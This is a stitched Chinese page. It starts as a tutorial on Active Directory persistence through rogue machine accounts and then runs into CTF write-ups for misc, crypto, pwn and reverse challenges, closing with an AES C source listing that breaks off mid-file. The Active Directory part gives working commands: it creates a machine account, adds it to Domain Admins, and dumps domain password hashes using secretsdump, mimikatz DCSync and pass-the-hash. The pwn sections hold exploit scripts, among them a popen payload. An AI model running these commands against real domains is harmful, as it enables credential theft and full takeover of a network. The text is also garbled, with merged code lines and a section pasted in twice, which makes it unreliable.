    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$_MachineAccount.$Domain")) > $null
    FormatStatus 1 "Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$_MachineAccount.$Domain","RestrictedKrbHost/$_MachineAccount.$Domain","HOST/$_MachineAccount","RestrictedKrbHost/$_MachineAccount")) > $null
    FormatStatus 1 "Set the password for the $MachineAccount account to $Password"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$PasswordClearText)) > $null

    try
    {
        $connection.SendRequest($request) > $null
        FormatStatus 1  "Create machine account $MachineAccount successfully"
    }
    catch
    {
        FormatStatus 0  "$($_.Exception.Message)"

        if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
        {
            FormatStatus 0 "User may have reached ms-DS-MachineAccountQuota limit"
        }

    }
}

运行该脚本即可创建一个新的域控账户,如下图所示。

Import-Module .\NewDomainController.ps1
NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"

mh3smpgiqwo15534.png

机器帐户可以属于安全组,因此可以直接将机器账户加入特权组,以实现域持久性。例如,执行以下命令,将机器账户 PENTEST$ 加入到域管理员组(Domain Admins),如下图所示。

net group "Domain Admins" PENTEST$ /add /domain

wiv5fbfcdwe15539.png

如图下所示,获得域管理员权限的机器账户可成功导出域内用户哈希

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc-user  "PENTEST\Administrator"

klnd235e2zq15544.png

值得注意的是,如果机器账户位于像 Domain Admins 这样的特权组,那么机器账户是被允许登录的,如下图所示:

python secretsdump.py  pentest.com/PENTEST\$:Passw0rd@172.26.10.11

lk2sv1ga5xt15548.png


python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt2cqb3mbhw4s15552.jpg

0x02  实验测试一(推荐使用)

添加机器用户DCBAK(UserAccountControl 为 8192),密码为123456(密码写死的,需要修改密码,可自行修改,重新编译)

工具地址:https://github.com/chibd2000/hyscan

添加机器用户命令:

hyscan.exe --scantype ldapscan --ldaptype addComputerUac8192 --domainName hengge.com --pcname DCBACK --dc 192.168.4.11

可以看到当UserAccountControl 为 8192的时候,此时隶属于domain controller组中

fon1vhkh4jw15558.png

查看域控制器成员,发现机器用户DCBAK已在列表中

  net group "domain controllers" /domain

bb325jyt0ct15561.png

在一台WIN-SKE-PC普通域机器中进行维权操作,这里通过命令runas进行远程CMD命令执行。

 runas /user:hengge.com\dcback /netonly cmd

wskwxzwmkj115564.png

在机器用户DCBAK的网络令牌下进行DCYNC的DUMP出域的hash

mimikatz.exe "lsadump::dcsync /domain:attack.local /all /csv" exit

mktnjyosehy15567.png

impacket serectdump进行DCYNC的DUMP出域的hash

python secretsdump.py hengge.com/dcback$@192.168.4.11 -hashes 32ed87bdb5fdc5e9cba88547376818d4:32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm

qjhi5rgkboc15570.png



参考文章https://whoamianony.top/domain-persistence-machine-accounts/https://itach1.com/archives/102/#cl-1https://adsecurity.org/?p=2753  https://www.cnblogs.com/zpchcbd/p/15840413.htmlhttps://stealthbits.com/blog/server-untrust-account/

一、misc

1.题目名称:CyberSpace

先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓rikyroxyzbh15438.jpgb= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可

2.题目名称:ezdct-svd

开局一张图

1rrpwujiqmv15442.jpg

根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为

我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着): watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128 block_shape = (8, 8) Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:64*64].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:37*37].reshape(37,37)

plt.imshow(r)

plt.show()


4xqhdt53o1y15448.png

flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

二、crypto

1.题目名称:strange_rsa1

将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

三、pwn

1.题目名称:smtp

协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close()

2.题目名称:note

菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive()

3.题目名称:捉迷藏

简单的利用一下 angr 就行
import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive()

4.题目名称:ret2libc_aarch64

正如题目字面意思, ret2libc,不过是 aarch64
#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia()

三、reverse

1.题目名称:small

以二进制文件形式,在 ida 中打开10wd3miklhi15451.jpg在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知aifc4usj2ah15455.jpg在字符串”good”后找到密文ig4gzn3dj1u15458.jpg解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2.题目名称:static

aes.c:
#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) {  const uint8_t *p = (const uint8_t *)pdata;  int count = size / 16;  int rem = size % 16;
  for (int r = 0; r <= count; r++) {    int k = (r == count) ? rem : 16;    if (r)      printf("\n");    for (int i = 0; i < 16; i++) {      if (i < k)        printf("%02X ", p[i]);      else        printf("   ");    }    printf(" ");    for (int i = 0; i < k; i++) {      printf("%c", isprint(p[i]) ? p[i] : '.');    }    p += 0x10;  }  printf("\n");}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256.
The implementation is verified against the test vectors in:  National Institute of Standards and Technology Special Publication 800-38A2001 ED
ECB-AES128----------
  plain-text:    6bc1bee22e409f96e93d7e117393172a    ae2d8a571e03ac9c9eb76fac45af8e51    30c81c46a35ce411e5fbc1191a0a52ef    f69f2445df4f9b17ad2b417be66c3710
  key:    2b7e151628aed2a6abf7158809cf4f3c
  resulting cipher    3ad77bb40d7a3660a89ecaf32466ef97    f5d3d58503b9699de785895a96fdbaaf    43b1cd7f598ece23881b00e3ed030688    7b0c785e27e8ad3f8223207104725dd4

NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)        You should pad the end of the string with zeros if this is not the case.        For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************//* Includes:                                                                 *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset
/*****************************************************************************//* Defines:                                                                  *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4
#if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4  // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif
// jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif
/*****************************************************************************//* Private variables:                                                        *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = {    // 0     1    2      3     4    5     6     7      8    9     A      B    C    // D     E     F    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,    0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = {    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,    0x55, 0x21, 0x0c, 0x7d};#endif
// The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,                                 0x20, 0x40, 0x80, 0x1b, 0x36};
/* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */
/*****************************************************************************//* Private functions:                                                        *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){  return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {  unsigned i, j, k;  uint8_t tempa[4]; // Used for the column/row operations
  // The first round key is the key itself.  for (i = 0; i < Nk; ++i) {    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];  }
  // All other round keys are found from the previous round keys.  for (i = Nk; i < Nb * (Nr + 1); ++i) {    {      k = (i - 1) * 4;      tempa[0] = RoundKey[k + 0];      tempa[1] = RoundKey[k + 1];      tempa[2] = RoundKey[k + 2];      tempa[3] = RoundKey[k + 3];    }
    if (i % Nk == 0) {      // This function shifts the 4 bytes in a word to the left once.      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
      // Function RotWord()      {        const uint8_t u8tmp = tempa[0];        tempa[0] = tempa[1];        tempa[1] = tempa[2];        tempa[2] = tempa[3];        tempa[3] = u8tmp;      }
      // SubWord() is a function that takes a four-byte input word and      // applies the S-box to each of the four bytes to produce an output word.
      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }
      tempa[0] = tempa[0] ^ Rcon[i / Nk];    }#if defined(AES256) && (AES256 == 1)    if (i % Nk == 4) {      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }    }#endif    j = i * 4;    k = (i - Nk) * 4;    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];  }}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {  KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,                     const uint8_t *iv) {  KeyExpansion(ctx->RoundKey, key);  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif
// This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state,                        const uint8_t *RoundKey) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];    }  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxValue((*state)[j][i]);    }  }}
// The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to left  temp = (*state)[0][1];  (*state)[0][1] = (*state)[1][1];  (*state)[1][1] = (*state)[2][1];  (*state)[2][1] = (*state)[3][1];  (*state)[3][1] = temp;
  // Rotate second row 2 columns to left  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to left  temp = (*state)[0][3];  (*state)[0][3] = (*state)[3][3];  (*state)[3][3] = (*state)[2][3];  (*state)[2][3] = (*state)[1][3];  (*state)[1][3] = temp;}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) {  uint8_t i;  uint8_t Tmp, Tm, t;  for (i = 0; i < 4; ++i) {    t = (*state)[i][0];    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];    Tm = (*state)[i][0] ^ (*state)[i][1];    Tm = xtime(Tm);    (*state)[i][0] ^= Tm ^ Tmp;
    Tm = (*state)[i][1] ^ (*state)[i][2];    Tm = xtime(Tm);    (*state)[i][1] ^= Tm ^ Tmp;
    Tm = (*state)[i][2] ^ (*state)[i][3];    Tm = xtime(Tm);    (*state)[i][2] ^= Tm ^ Tmp;
    Tm = (*state)[i][3] ^ t;    Tm = xtime(Tm);    (*state)[i][3] ^= Tm ^ Tmp;  }}
// Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary//       The compiler seems to be able to vectorize the operation better this//       way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) {  return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^          ((y >> 2 & 1) * xtime(xtime(x))) ^          ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^          ((y >> 4 & 1) *           xtime(xtime(xtime(               xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y)                                                         \  (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^                                 \   ((y >> 2 & 1) * xtime(xtime(x))) ^                                          \   ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^                                   \   ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){  return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)])
